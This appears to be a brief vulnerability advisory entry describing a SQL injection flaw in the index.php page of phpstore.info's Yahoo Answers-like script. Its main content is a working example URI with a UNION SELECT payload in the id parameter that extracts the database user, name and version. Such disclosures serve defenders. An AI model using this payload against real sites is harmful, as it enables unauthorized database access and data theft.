• info
• discussion
• exploit
• solution
• references

phpstore.info Yahoo Answers-Like 'index.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/index.php?cmd=4&id=-1+UNION SELECT 1,2,3,4,5,6,concat(user(),0x3a,database(),0x3a,version()),8,9,10,11,12,13,14,15--